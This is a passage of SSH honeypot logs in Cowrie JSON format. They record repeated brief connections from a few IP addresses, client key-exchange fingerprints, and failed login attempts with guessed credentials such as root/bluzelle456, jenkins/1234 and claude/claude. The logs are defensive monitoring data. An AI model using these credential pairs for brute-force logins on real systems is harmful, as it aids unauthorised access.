01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:20.502658Z","src_ip":"45.156.87.253","session":"48bb86dd5284","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"root","message":"login attempt [runner/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:20.744958Z","src_ip":"45.156.87.253","session":"48bb86dd5284","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:21.828506Z","src_ip":"45.156.87.253","session":"48bb86dd5284","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":48088,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf879cf0be85","protocol":"ssh","message":"New connection: 45.156.87.253:48088 (10.17.0.5:22) [session: cf879cf0be85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:23.754628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:23.758414Z","src_ip":"45.156.87.253","session":"cf879cf0be85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:23.839431Z","src_ip":"45.156.87.253","session":"cf879cf0be85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:24.085057Z","src_ip":"45.156.87.253","session":"cf879cf0be85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:25.316355Z","src_ip":"45.156.87.253","session":"cf879cf0be85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.236.141.65","src_port":39074,"dst_ip":"10.17.0.5","dst_port":22,"session":"bcc085afb0f1","protocol":"ssh","message":"New connection: 173.236.141.65:39074 (10.17.0.5:22) [session: bcc085afb0f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:27.001667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:27.005462Z","src_ip":"173.236.141.65","session":"bcc085afb0f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:27.016646Z","src_ip":"173.236.141.65","session":"bcc085afb0f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bluzelle456","message":"login attempt [root/bluzelle456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:27.052698Z","src_ip":"173.236.141.65","session":"bcc085afb0f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":48102,"dst_ip":"10.17.0.5","dst_port":22,"session":"a441ff63ce81","protocol":"ssh","message":"New connection: 45.156.87.253:48102 (10.17.0.5:22) [session: a441ff63ce81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:27.072674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:27.076599Z","src_ip":"45.156.87.253","session":"a441ff63ce81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:27.159349Z","src_ip":"45.156.87.253","session":"a441ff63ce81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"1234","message":"login attempt [jenkins/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:27.402877Z","src_ip":"45.156.87.253","session":"a441ff63ce81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:28.066685Z","src_ip":"173.236.141.65","session":"bcc085afb0f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:28.486529Z","src_ip":"45.156.87.253","session":"a441ff63ce81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":59274,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e75b2036f8d","protocol":"ssh","message":"New connection: 45.156.87.253:59274 (10.17.0.5:22) [session: 8e75b2036f8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:30.454804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:30.459316Z","src_ip":"45.156.87.253","session":"8e75b2036f8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:30.539806Z","src_ip":"45.156.87.253","session":"8e75b2036f8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gns3","password":"gns3","message":"login attempt [gns3/gns3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:30.782732Z","src_ip":"45.156.87.253","session":"8e75b2036f8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:31.865424Z","src_ip":"45.156.87.253","session":"8e75b2036f8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":59300,"dst_ip":"10.17.0.5","dst_port":22,"session":"90a673665bb6","protocol":"ssh","message":"New connection: 45.156.87.253:59300 (10.17.0.5:22) [session: 90a673665bb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:33.766429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:33.774245Z","src_ip":"45.156.87.253","session":"90a673665bb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:33.855340Z","src_ip":"45.156.87.253","session":"90a673665bb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"abc123","message":"login attempt [bot/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:34.098642Z","src_ip":"45.156.87.253","session":"90a673665bb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:35.199297Z","src_ip":"45.156.87.253","session":"90a673665bb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":59324,"dst_ip":"10.17.0.5","dst_port":22,"session":"215f137e5d61","protocol":"ssh","message":"New connection: 45.156.87.253:59324 (10.17.0.5:22) [session: 215f137e5d61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:37.061766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:37.065390Z","src_ip":"45.156.87.253","session":"215f137e5d61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:37.145875Z","src_ip":"45.156.87.253","session":"215f137e5d61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"root","message":"login attempt [bot/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:37.401258Z","src_ip":"45.156.87.253","session":"215f137e5d61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:38.484464Z","src_ip":"45.156.87.253","session":"215f137e5d61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":53602,"dst_ip":"10.17.0.5","dst_port":22,"session":"a83926470926","protocol":"ssh","message":"New connection: 45.156.87.253:53602 (10.17.0.5:22) [session: a83926470926]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:40.505328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:40.508778Z","src_ip":"45.156.87.253","session":"a83926470926","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:40.589621Z","src_ip":"45.156.87.253","session":"a83926470926","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ark","password":"ark","message":"login attempt [ark/ark] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:40.835895Z","src_ip":"45.156.87.253","session":"a83926470926","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:41.921476Z","src_ip":"45.156.87.253","session":"a83926470926","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":53614,"dst_ip":"10.17.0.5","dst_port":22,"session":"914b1e911b20","protocol":"ssh","message":"New connection: 45.156.87.253:53614 (10.17.0.5:22) [session: 914b1e911b20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:43.806989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:43.810030Z","src_ip":"45.156.87.253","session":"914b1e911b20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:43.889821Z","src_ip":"45.156.87.253","session":"914b1e911b20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"passwd","message":"login attempt [master/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:44.132131Z","src_ip":"45.156.87.253","session":"914b1e911b20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:45.215043Z","src_ip":"45.156.87.253","session":"914b1e911b20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":53630,"dst_ip":"10.17.0.5","dst_port":22,"session":"a904a9026de4","protocol":"ssh","message":"New connection: 45.156.87.253:53630 (10.17.0.5:22) [session: a904a9026de4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:47.121290Z"}
